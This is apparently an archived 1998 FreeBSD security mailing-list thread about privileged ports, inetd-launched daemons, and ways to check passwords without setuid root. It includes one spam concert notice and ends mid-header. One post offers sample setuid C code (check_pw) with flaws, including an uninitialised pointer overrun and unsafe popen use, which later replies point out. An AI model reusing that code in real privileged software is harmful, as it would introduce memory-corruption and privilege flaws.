port. There are zillions of > | protocols where the client can't verify the server in any useful way. > | Requiring special privs. to bind to the port that the server runs as > | helps this out in a big way. > > For this to be true, it requires that NT (which doesn't have a > concept of privleged ports) to be removed from all server locations on > the internet. While I'll agree that this is a useful security > measure, its not particularly realistic, and we should consider giving > up on this assumption. Nonsense! You are missing the entire point. Say, for example, you have a MX record pointing to a server that does have privileged ports. That means that, even if the mail server does crash or stop listening on the port, any old user can't just bind to the port and steal mail. Therefore, provileged ports are useful. It doesn't matter if there is an NT machine sitting beside it on the same network. If you point your MX record at it and let any users use it, then you deserve what you get. Again, as I said in my original message, there are two main classes of uses for privileged ports. Just because not all machines have them doesn't make this use less valid. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Nov 17 10:05:46 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id KAA15853 for freebsd-security-outgoing; Tue, 17 Nov 1998 10:05:46 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from premierproductions.com (pm4-205.hp.infi.net [208.142.82.205]) by hub.freebsd.org (8.8.8/8.8.8) with SMTP id KAA15773; Tue, 17 Nov 1998 10:05:34 -0800 (PST) (envelope-from webmaster@premierproductions.com) Date: Tue, 17 Nov 1998 10:05:34 -0800 (PST) From: webmaster@premierproductions.com Message-Id: <199811171805.KAA15773@hub.freebsd.org> To: webmaster@premierproductions.com Subject: Community Christmas Announcement Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org GREAT HOLIDAY MUSIC The Holidays are quickly approaching and what better way to begin the season than with a great Christmas show. Premier Productions is proud to announce that we will be bringing The Ray Boltz Christmas Show to the Charleston Municipal Auditorium on Saturday, November 28 at 7:00pm. Join us for a great evening of Christmas music that will put you in the Christmas spirit for the rest of the season. All seating is reserved but great seats still remain at the Civic Center Box Office, and Tickets Master Outlets. www.ticketmaster.com You can charge tickets by phone by calling: 304-342-5757 For more information visit our web site at www.PremierProductions.com Hope to see you there! Thanks Premier Productions This is a one time community announcement. This is a one time community announcement. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Nov 17 10:19:23 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id KAA18504 for freebsd-security-outgoing; Tue, 17 Nov 1998 10:19:23 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from khavrinen.lcs.mit.edu (khavrinen.lcs.mit.edu [18.24.4.193]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id KAA18485 for ; Tue, 17 Nov 1998 10:19:17 -0800 (PST) (envelope-from wollman@khavrinen.lcs.mit.edu) Received: (from wollman@localhost) by khavrinen.lcs.mit.edu (8.9.1/8.9.1) id NAA26453; Tue, 17 Nov 1998 13:18:27 -0500 (EST) (envelope-from wollman) Date: Tue, 17 Nov 1998 13:18:27 -0500 (EST) From: Garrett Wollman Message-Id: <199811171818.NAA26453@khavrinen.lcs.mit.edu> To: Garance A Drosihn Cc: Matthew Dillon , freebsd-security@FreeBSD.ORG Subject: Re: making 'lpd' under FreeBSD more secure In-Reply-To: References: <199811162114.PAA06569@s07.sa.fedex.com> <199811170527.VAA23429@apollo.backplane.com> Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org < said: > I think lpd needs root access for more than just binding to the > port, although I haven't looked at the code yet to remember why > I think that... Still, someone recently went thru the other I was working on a rewrite of lpd at the beginning of the year which unfortunately got stalled. It's possible to have an lpd which runs unprivileged if you give up on hosts.lpd ``authentication'' and are willing to abandon a few other features. Much more useful, in my view, would be work to make lpr run unprivileged -- which is fairly easy to do, conceptually, but hard in practice. -GAWollman -- Garrett A. Wollman | O Siem / We are all family / O Siem / We're all the same wollman@lcs.mit.edu | O Siem / The fires of freedom Opinions not those of| Dance in the burning flame MIT, LCS, CRS, or NSA| - Susan Aglukark and Chad Irschick To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Nov 17 12:16:17 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id MAA05530 for freebsd-security-outgoing; Tue, 17 Nov 1998 12:16:17 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from mx1.dmz.fedex.com (mx1.dmz.fedex.com [199.81.194.37]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id MAA05506 for ; Tue, 17 Nov 1998 12:16:04 -0800 (PST) (envelope-from wam@mohawk.dpd.fedex.com) Received: from mx1.zmd.fedex.com (sendmail@mx1.zmd.fedex.com [199.82.159.10]) by mx1.dmz.fedex.com (8.9.1/8.9.1) with ESMTP id OAA26590 for ; Tue, 17 Nov 1998 14:15:16 -0600 (CST) Received: from s07.sa.fedex.com (root@s07.sa.fedex.com [199.81.124.17]) by mx1.zmd.fedex.com (8.9.1/8.9.1) with ESMTP id OAA27262 for ; Tue, 17 Nov 1998 14:15:14 -0600 (CST) Received: from mohawk.dpd.fedex.com (mohawk.dpd.fedex.com [199.81.74.121]) by s07.sa.fedex.com (8.9.1/8.9.1) with SMTP id OAA05291; Tue, 17 Nov 1998 14:14:55 -0600 (CST) Message-Id: <199811172014.OAA05291@s07.sa.fedex.com> To: Cliff Skolnick cc: Andrew McNaughton , Matthew Dillon , Warner Losh , Andre Albsmeier , freebsd-security@FreeBSD.ORG, "Jordan K. Hubbard" , Dima Ruban Subject: Re: Would this make FreeBSD more secure? & sendmail changes in OpenBSD 2.4 Date: Tue, 17 Nov 1998 14:14:22 -0600 From: William McVey Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Cliff Skolnick wrote: >I am more concerned about stand alone daemons like sendmail, syslog, apache, >etc. A well written program could simply have a setuid wrapper like innd >that opens the socket, does a setuid() to some other user, then exec()s the >real program. If I do this I know my program will work on most UNIX boxes >in a reasonably secure way. Now if someone wanted to write a wrapper to >make this easy, and it ran on most if not all UNIX systems great. Most of these services could easily be modified to start from inetd as wait services. Basically, inetd does the port binding, setuid-ing, and execing, just like it always does. As I've mentioned before, sendmail can defintly run in this manner. So could most web servers. I did some playing around with syslog starting from inetd, and ran into a few problems which I need to read more syslogd and inetd code to work out (for example, inetd normally logs it's messages via syslog(3), what happens when it is the program starting syslogd?) to "what does inetd log to before syslog comes online. -- William To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Nov 17 12:52:56 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id MAA11306 for freebsd-security-outgoing; Tue, 17 Nov 1998 12:52:56 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from alcanet.com.au (border.alcanet.com.au [203.62.196.10]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id MAA11300 for ; Tue, 17 Nov 1998 12:52:54 -0800 (PST) (envelope-from peter.jeremy@auss2.alcatel.com.au) Received: by border.alcanet.com.au id <40335>; Wed, 18 Nov 1998 07:51:52 +1100 Date: Wed, 18 Nov 1998 07:52:13 +1100 From: Peter Jeremy Subject: Re: Would this make FreeBSD more secure? To: security@FreeBSD.ORG Message-Id: <98Nov18.075152est.40335@border.alcanet.com.au> Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Andre Albsmeier wrote: >I just was alarmed by xlockmore that a program runs setuid root all the time >only to check the password the user enters. In the case of xlockmore (and similar programs), the logical approach would seem to be to split the functionality into two processes: the parent process remains privileged(*), but all it would do is seize the keyboard/mouse, blank the screen and spawn children to actually display the pretty patterns. The children don't need to be priviledged, and if one crashes, the parent can just start another. An alternative approach would be to have the entire saver run non- privileged and call a privileged program to check the password. Securely writing the password checking program (so it couldn't be used for password cracking) is non-trivial. > And, regardless whether xlockmore >has known bugs or not, xlockmore-4.10 definitely does have bugs - several of the standard saver modes will die with SIGFPE (suddenly unlocking your screen). (*) Currently, this means setuid root, but all it needs is sufficient privileges to validate a password. Peter To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Nov 17 13:01:38 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id NAA12837 for freebsd-security-outgoing; Tue, 17 Nov 1998 13:01:38 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from ocean.campus.luth.se (ocean.campus.luth.se [130.240.194.116]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id NAA12832; Tue, 17 Nov 1998 13:01:34 -0800 (PST) (envelope-from karpen@ocean.campus.luth.se) Received: (from karpen@localhost) by ocean.campus.luth.se (8.9.1/8.9.1) id VAA02065; Tue, 17 Nov 1998 21:58:55 +0100 (CET) (envelope-from karpen) From: Mikael Karpberg Message-Id: <199811172058.VAA02065@ocean.campus.luth.se> Subject: Re: Would this make FreeBSD more secure? In-Reply-To: <199811161838.MAA25024@s07.sa.fedex.com> from William McVey at "Nov 16, 98 12:38:11 pm" To: wam@sa.fedex.com (William McVey) Date: Tue, 17 Nov 1998 21:58:15 +0100 (CET) Cc: hackers@FreeBSD.ORG, freebsd-security@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL32 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org According to William McVey: > I'm in favor of the proposed change to allow some group (for discussion > sake, lets call it group 'shadow') read permission to the shadow file. Umm... I have seen no one in this discussion mention this, so I'll say it, after repeating what someone DID say "Small well audited setuid programs are not a problem". Now... Here's my suggestion, my_xlock.c: int main() { char *str; FILE *f; int done = 0; lock_screen(); while (!done) { str = wait_for_passwd(); f = popen("/usr/bin/check_pw", "w"); fprintf(f, "%d %s\n", getuid(), str); fflush(f); if (!pclose(f)) { unlock_screen(); done = 1; } else { print_errror("Wrong password"); } } return 0; } Seems simple enough to me, and could be used from scripts and everything. All you need is a small util (/usr/bin/check_pw) that is setuid root. I can't see a security problem with this, at all. Failed logins could be logged also, if that's a concern. All it has to do is something like: int main() { char buffer[100]; struct passwd *pw; uind_t uid; char *str; char *setting; fgets(buffer, sizeof buffer, stdin); if (isdigit(buffer[0])) { uid = strtol(buffer, &str, 0); if (!*str) exit(1); pw = getpwuid(uid); } else { while (!isspace(*str)) str++; if (!*str) exit(1); *str = '\0'; pw = getpwnam(buffer); } str++; setting = get_setting_and_move_str(&str); if (strcmp(pw->pw_passwd, crypt(str, setting)) == 0) return 0; return 1; } I'm sure there are minor or even major mistakes in the programs above, but I think everyone should get the idea, if the problems are just syntax errors, and such. The check_pw program should be small enough to be quite possible to do as close to 100% bug free as one can hope to get. /Mikael To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Nov 17 13:20:09 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id NAA16776 for freebsd-security-outgoing; Tue, 17 Nov 1998 13:20:09 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from cc181716-a.hwrd1.md.home.com (cc181716-a.hwrd1.md.home.com [24.3.18.63]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id NAA16695 for ; Tue, 17 Nov 1998 13:20:02 -0800 (PST) (envelope-from woodford@cc181716-a.hwrd1.md.home.com) Received: from localhost (woodford@localhost) by cc181716-a.hwrd1.md.home.com (8.9.1a/8.9.1a) with SMTP id PAA05402 for ; Tue, 17 Nov 1998 15:10:18 -0500 (EST) Date: Tue, 17 Nov 1998 15:10:18 -0500 (EST) From: Bill Woodford To: freebsd-security@FreeBSD.ORG Subject: Re: Would this make FreeBSD more secure? In-Reply-To: <19981115161548.A23869@internal> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Sun, 15 Nov 1998, Andre Albsmeier wrote: | For example: | | root@voyager:~>ll /etc/spwd.db /etc/master.passwd | -rw-r----- 1 root pw - 828 Nov 15 12:43 /etc/master.passwd | -rw-r----- 1 root pw - 40960 Nov 15 12:43 /etc/spwd.db | | root@voyager:~>ll /usr/X11R6/bin/xlock | ---x--s--x 1 root pw - 126976 Oct 1 08:17 /usr/X11R6/bin/xlock* I think this is a good idea. The change in perms didnt seem to affect anything else in a bad way, and it got rid of a setuid. Andre, thanks for posting it! -- Bill Woodford * woodford@cc181716-a.hwrd1.md.home.com * ICQ:14076169 Volunteer Coordinator, Otakon 99: Convention of Otaku Generation "Windows Multitasking: Messing up several things at once." To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Nov 17 13:28:36 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id NAA17904 for freebsd-security-outgoing; Tue, 17 Nov 1998 13:28:36 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from mail1.its.rpi.edu (mail1.its.rpi.edu [128.113.100.7]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id NAA17899 for ; Tue, 17 Nov 1998 13:28:34 -0800 (PST) (envelope-from drosih@rpi.edu) Received: from [128.113.24.47] (gilead.acs.rpi.edu [128.113.24.47]) by mail1.its.rpi.edu (8.8.8/8.8.6) with ESMTP id QAA199140; Tue, 17 Nov 1998 16:28:43 -0500 Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" X-Sender: drosih@pop1.rpi.edu Message-Id: In-Reply-To: <199811172014.OAA05291@s07.sa.fedex.com> Date: Tue, 17 Nov 1998 16:27:54 -0500 To: William McVey From: Garance A Drosihn Subject: Re: Would this make FreeBSD more secure? & sendmail changes in OpenBSD 2.4 Cc: freebsd-security@FreeBSD.ORG Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org At 2:14 PM -0600 11/17/98, William McVey wrote: >Cliff Skolnick wrote: >> I am more concerned about stand alone daemons like sendmail, >> syslog, apache, etc. > > Most of these services could easily be modified to start from > inetd as wait services. Basically, inetd does the port binding, > setuid-ing, and execing, just like it always does. As I've > mentioned before, sendmail can definitely run in this manner. > So could most web servers. Seems to me the performance implications for web serving is not very attractive. In my case I just go with a minimalist web server (not apache, I think the name is just "thtppd") to reduce the security exposure. (well, it reduces the feature set too, of course, but I don't need the missing features). --- Garance Alistair Drosehn = gad@eclipse.its.rpi.edu Senior Systems Programmer or drosih@rpi.edu Rensselaer Polytechnic Institute To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Nov 17 14:01:31 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id OAA23144 for freebsd-security-outgoing; Tue, 17 Nov 1998 14:01:31 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from apollo.backplane.com (apollo.backplane.com [209.157.86.2]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id OAA23117; Tue, 17 Nov 1998 14:01:23 -0800 (PST) (envelope-from dillon@apollo.backplane.com) Received: (from dillon@localhost) by apollo.backplane.com (8.9.1/8.9.1) id OAA28976; Tue, 17 Nov 1998 14:00:34 -0800 (PST) (envelope-from dillon) Date: Tue, 17 Nov 1998 14:00:34 -0800 (PST) From: Matthew Dillon Message-Id: <199811172200.OAA28976@apollo.backplane.com> To: Mikael Karpberg Cc: wam@sa.fedex.com (William McVey), hackers@FreeBSD.ORG, freebsd-security@FreeBSD.ORG Subject: Re: Would this make FreeBSD more secure? References: <199811172058.VAA02065@ocean.campus.luth.se> Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org :Umm... I have seen no one in this discussion mention this, so I'll say it, :after repeating what someone DID say "Small well audited setuid programs :are not a problem". Now... Here's my suggestion, my_xlock.c: : :int main() { : char *str; : FILE *f; : int done = 0; : lock_screen(); : while (!done) { : str = wait_for_passwd(); : f = popen("/usr/bin/check_pw", "w"); : fprintf(f, "%d %s\n", getuid(), str); : fflush(f); : if (!pclose(f)) { : unlock_screen(); : done = 1; : } else { : print_errror("Wrong password"); : } : } : return 0; :} : :Seems simple enough to me, and could be used from scripts and everything. You didn't clear the environment you didn't reset the path you didn't reset the resource limits you didn't disable signals you are using popen (even with an absolute path), :... : *str = '\0'; : pw = getpwnam(buffer); : } : str++; : setting = get_setting_and_move_str(&str); : if (strcmp(pw->pw_passwd, crypt(str, setting)) == 0) : return 0; : return 1; :} And you haven't cleared the memory space associated with either the crypted or unencrypted password info you just retrieved. :I'm sure there are minor or even major mistakes in the programs above, but :I think everyone should get the idea, if the problems are just syntax errors, :and such. The check_pw program should be small enough to be quite possible to :do as close to 100% bug free as one can hope to get. Now, I know I'm being unfair. I'm just trying to point out that there are a LOT of things an suid program must do to be reasonably secure, especially if it is going to go off and execute another program. -Matt : /Mikael : :To Unsubscribe: send mail to majordomo@FreeBSD.org :with "unsubscribe freebsd-hackers" in the body of the message : Matthew Dillon Engineering, HiWay Technologies, Inc. & BEST Internet Communications & God knows what else. (Please include original email in any response) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Nov 17 14:04:37 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id OAA23704 for freebsd-security-outgoing; Tue, 17 Nov 1998 14:04:37 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from fledge.watson.org (FLEDGE.RES.CMU.EDU [128.2.93.229]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id OAA23534; Tue, 17 Nov 1998 14:03:26 -0800 (PST) (envelope-from robert@cyrus.watson.org) Received: from fledge.watson.org (robert@fledge.pr.watson.org [192.0.2.3]) by fledge.watson.org (8.8.8/8.8.8) with SMTP id RAA26969; Tue, 17 Nov 1998 17:02:18 -0500 (EST) Date: Tue, 17 Nov 1998 17:02:18 -0500 (EST) From: Robert Watson X-Sender: robert@fledge.watson.org Reply-To: Robert Watson To: Mikael Karpberg cc: William McVey , hackers@FreeBSD.ORG, freebsd-security@FreeBSD.ORG Subject: Re: Would this make FreeBSD more secure? In-Reply-To: <199811172058.VAA02065@ocean.campus.luth.se> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Tue, 17 Nov 1998, Mikael Karpberg wrote: > According to William McVey: > > I'm in favor of the proposed change to allow some group (for discussion > > sake, lets call it group 'shadow') read permission to the shadow file. > > Umm... I have seen no one in this discussion mention this, so I'll say it, > after repeating what someone DID say "Small well audited setuid programs > are not a problem". Now... Here's my suggestion, my_xlock.c: > > int main() { > char *str; > FILE *f; > int done = 0; > lock_screen(); /* XXXXXX */ > while (!done) { > str = wait_for_passwd(); /* XXXXXX */ > f = popen("/usr/bin/check_pw", "w"); > fprintf(f, "%d %s\n", getuid(), str); > fflush(f); > if (!pclose(f)) { > unlock_screen(); /* XXXXXX */ > done = 1; > } else { > print_errror("Wrong password"); > } > } > return 0; > } With the use of Xlib and Xwindows, the seemingly innocuous lines above go through quite a bit of work. > Seems simple enough to me, and could be used from scripts and everything. > All you need is a small util (/usr/bin/check_pw) that is setuid root. > I can't see a security problem with this, at all. Failed logins could > be logged also, if that's a concern. All it has to do is something like: > > int main() { > char buffer[100]; > struct passwd *pw; > uind_t uid; > char *str; > char *setting; > fgets(buffer, sizeof buffer, stdin); > if (isdigit(buffer[0])) { > uid = strtol(buffer, &str, 0); > if (!*str) > exit(1); > pw = getpwuid(uid); > } else { > while (!isspace(*str)) > str++; > if (!*str) > exit(1); > *str = '\0'; > pw = getpwnam(buffer); > } > str++; > setting = get_setting_and_move_str(&str); > if (strcmp(pw->pw_passwd, crypt(str, setting)) == 0) > return 0; > return 1; > } > > I'm sure there are minor or even major mistakes in the programs above, but > I think everyone should get the idea, if the problems are just syntax errors, > and such. The check_pw program should be small enough to be quite possible to > do as close to 100% bug free as one can hope to get. The immediate concerns that come to mind are these -- 1) PAM would be nice, but if not, include some kerberos code :) 2) The trivial-looking 'lock screen', 'get password', etc routines are the hard ones. I've never been pursuaded that the basic Xlib functionality is well audited (I welcome pursuasion :). 3) A check_pw command used as a client by a seperate screen saver program should be at least minimally resistant against key searching attacks. This means possibly adding sleeps, although that is fairly weak all things considering :). Just load up 60 copies of the process. It might be nice to just have a file system socket any process can bind to that mediates access to the authentication system. On the one side of the socket is any client attempting to authenticate a user (possibly using PAM as the API, and then some record based protocol over the socket), and on the other side is Mr Auth Server that listens on the socket, accepts connections, and is a place where throttling of attempts could be performed. Similarly, it could take advantage of the SCM_AUTH (or whatever) uid/gid passing to authenticate the processes on the other side. I wrote something similar to this while playing with kernel tokens a this summer -- a daemon that serviced authentication requests (as well as authorization requests in my case). This could actually be combined with the SCM_RIGHTS behavior to allow processes to request access to ports they otherwise couldn't bind. :) Robert N Watson robert@fledge.watson.org http://www.watson.org/~robert/ PGP key fingerprint: 03 01 DD 8E 15 67 48 73 25 6D 10 FC EC 68 C1 1C Carnegie Mellon University http://www.cmu.edu/ TIS Labs at Network Associates, Inc. http://www.tis.com/ SafePort Network Services http://www.safeport.com/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Nov 17 14:11:50 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id OAA25408 for freebsd-security-outgoing; Tue, 17 Nov 1998 14:11:50 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from mx1.dmz.fedex.com (mx1.dmz.fedex.com [199.81.194.37]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id OAA25387; Tue, 17 Nov 1998 14:11:36 -0800 (PST) (envelope-from wam@mohawk.dpd.fedex.com) Received: from mx2.zmd.fedex.com (sendmail@mx2.zmd.fedex.com [199.82.159.11]) by mx1.dmz.fedex.com (8.9.1/8.9.1) with ESMTP id QAA15750; Tue, 17 Nov 1998 16:11:10 -0600 (CST) Received: from s07.sa.fedex.com (root@s07.sa.fedex.com [199.81.124.17]) by mx2.zmd.fedex.com (8.9.1/8.9.1) with ESMTP id QAA21162; Tue, 17 Nov 1998 16:11:05 -0600 (CST) Received: from mohawk.dpd.fedex.com (mohawk.dpd.fedex.com [199.81.74.121]) by s07.sa.fedex.com (8.9.1/8.9.1) with SMTP id QAA09047; Tue, 17 Nov 1998 16:11:04 -0600 (CST) Message-Id: <199811172211.QAA09047@s07.sa.fedex.com> To: Mikael Karpberg cc: hackers@FreeBSD.ORG, freebsd-security@FreeBSD.ORG Subject: Re: Would this make FreeBSD more secure? Date: Tue, 17 Nov 1998 16:10:32 -0600 From: William McVey Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Mikael Karpberg wrote: >Umm... I have seen no one in this discussion mention this, so I'll say it, >after repeating what someone DID say "Small well audited setuid programs >are not a problem". Now... Here's my suggestion, my_xlock.c: > [code for my_xlock.c deleted] >Seems simple enough to me, and could be used from scripts and everything. >All you need is a small util (/usr/bin/check_pw) that is setuid root. I believe this all started with the realization that setuid root shouldn't be needed to verify passwords. A dedicated group could be created for this task which would be limited to only having read access to the shadow file. The proposed group 'shadow', and the associated changes to the getpw* functions (a 3-4 line source code change which I've already sent out to freebsd-security) would eliminate check_pw's need to be setuid root. This would limit the exposure of its buffer overflow(*) to a less harmfull set of privileges. Again, I'm not denying that xlock and friends can be replaced with something more secure. I'm saying that whatever method is used to check passwords for screen locking programs doesn't *NEED* root if the system's getpwnam (and friends) uses the file permissions on /etc/spwd.db as the criteria for access, rather than simply checking "am I root". -- William * The buffer overflow occurs if the input does not contain space characters. I don't think it can be exploited to smash the stack (since the buffer is limited to 100 characters); however, I do know that if this program were setuid root, it could be used to write a null on a piece of memory it shouldn't be able to write on. If the program were setgid to group 'shadow' it wouldn't be able to write on the memory (since that is "privilege" granted only to root). >int main() { > char buffer[100]; > struct passwd *pw; > uind_t uid; > char *str; > char *setting; > fgets(buffer, sizeof buffer, stdin); > if (isdigit(buffer[0])) { > uid = strtol(buffer, &str, 0); > if (!*str) > exit(1); > pw = getpwuid(uid); > } else { > while (!isspace(*str)) > str++; /* Zoom!!! right off the end of the string, if there were no spaces in * the user input (isspace(3) doesn't return true on nulls). */ > if (!*str) > exit(1); > *str = '\0'; /* If I'm root, this would have just scribbled a \0 someplace in memory. * If I'm setgid to group shadow, it would cause a SIGV. Which would * *you* prefer? */ > pw = getpwnam(buffer); > } > str++; > setting = get_setting_and_move_str(&str); > if (strcmp(pw->pw_passwd, crypt(str, setting)) == 0) > return 0; > return 1; >} To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Nov 17 14:21:00 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id OAA27626 for freebsd-security-outgoing; Tue, 17 Nov 1998 14:21:00 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from apollo.backplane.com (apollo.backplane.com [209.157.86.2]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id OAA27621 for ; Tue, 17 Nov 1998 14:20:58 -0800 (PST) (envelope-from dillon@apollo.backplane.com) Received: (from dillon@localhost) by apollo.backplane.com (8.9.1/8.9.1) id OAA29070; Tue, 17 Nov 1998 14:20:24 -0800 (PST) (envelope-from dillon) Date: Tue, 17 Nov 1998 14:20:24 -0800 (PST) From: Matthew Dillon Message-Id: <199811172220.OAA29070@apollo.backplane.com> To: William McVey Cc: Cliff Skolnick , Andrew McNaughton , Matthew Dillon , Warner Losh , Andre Albsmeier , freebsd-security@FreeBSD.ORG, "Jordan K. Hubbard" , Dima Ruban Subject: Re: Would this make FreeBSD more secure? & sendmail changes in OpenBSD 2.4 References: <199811172014.OAA05291@s07.sa.fedex.com> Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org :Most of these services could easily be modified to start from :inetd as wait services. Basically, inetd does the port binding, :setuid-ing, and execing, just like it always does. As I've mentioned :before, sendmail can defintly run in this manner. So could most :web servers. I did some playing around with syslog starting from :inetd, and ran into a few problems which I need to read more syslogd :and inetd code to work out (for example, inetd normally logs it's :messages via syslog(3), what happens when it is the program starting :syslogd?) to "what does inetd log to before syslog comes online. : : -- William As a general rule, the more sophisticated services cannot be started from inetd unless you are running a very lightly loaded machine, because you must generally fixup the resource limits and do other pre-start setup prior to running many of them. news is an excellent example of the problem. You cannot run news from inetd.conf unless you are very, very careful about the way you setup the resources limits that inetd.conf runs under. sendmail wouldn't work very well either hacked for wait-mode operation, at least not in a light-weight environment. For example, starting it from inetd does not guarentee immediate startup... what happens if you need to run the queue? For that matter, what happens when you split the sendmail server, having one handling incoming connections and running others to independantly run the queue (e.g. you run sendmail -q15m -OMaxDaemonChildren=N1, and you also run sendmail -bd -OMaxDaemonChildren=N2). -Matt Matthew Dillon Engineering, HiWay Technologies, Inc. & BEST Internet Communications & God knows what else. (Please include original email in any response) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Nov 17 14:24:07 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id OAA28084 for freebsd-security-outgoing; Tue, 17 Nov 1998 14:24:07 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from mx2.dmz.fedex.com (mx2.dmz.fedex.com [199.81.194.38]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id OAA28016 for ; Tue, 17 Nov 1998 14:23:33 -0800 (PST) (envelope-from wam@mohawk.dpd.fedex.com) Received: from mx1.zmd.fedex.com (sendmail@mx1.zmd.fedex.com [199.82.159.10]) by mx2.dmz.fedex.com (8.9.1/8.9.1) with ESMTP id QAA13473 for ; Tue, 17 Nov 1998 16:23:01 -0600 (CST) Received: from s07.sa.fedex.com (root@s07.sa.fedex.com [199.81.124.17]) by mx1.zmd.fedex.com (8.9.1/8.9.1) with ESMTP id QAA11509 for ; Tue, 17 Nov 1998 16:22:59 -0600 (CST) Received: from mohawk.dpd.fedex.com (mohawk.dpd.fedex.com [199.81.74.121]) by s07.sa.fedex.com (8.9.1/8.9.1) with SMTP id QAA12303; Tue, 17 Nov 1998 16:22:33 -0600 (CST) Message-Id: <199811172222.QAA12303@s07.sa.fedex.com> To: Bill Woodford cc: freebsd-security@FreeBSD.ORG Subject: Re: Would this make FreeBSD more secure? Date: Tue, 17 Nov 1998 16:22:02 -0600 From: William McVey Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Bill Woodford wrote: >I think this is a good idea. The change in perms didnt seem to affect >anything else in a bad way, and it got rid of a setuid. Andre, thanks >for posting it! Did this work for you? Can you actually "break" your xlock? It didn't work for me when I did it originally because getpwnam, which is what xlock apparently calls, only returns the shadow'ed encrypted password entry if geteuid() returns 0 (at least this is how FreeBSD 2.2.5 is does it (my 3.0 machine is suffering from hardware problems right now). I posted a proposed "fix" for this, which no-one has really commented on. -- William To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Nov 17 14:36:35 1998 Return-Path: Received: (from majordom@localhost) by 